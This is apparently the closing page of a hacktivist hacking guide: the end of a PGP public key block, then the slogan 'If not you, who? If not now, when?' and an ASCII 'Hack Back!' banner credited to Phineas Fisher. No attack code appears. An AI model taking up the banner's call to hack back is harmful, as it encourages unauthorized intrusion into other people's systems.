Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y
-----END PGP PUBLIC KEY BLOCK-----
If not you, who? If not now, when?
_ _ _ ____ _ _
| | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
| |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
| _ | (_| | (__| < | |_) | (_| | (__| <|_|
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
by Phineas Fisher
trans. 0xdeba5e12
(END)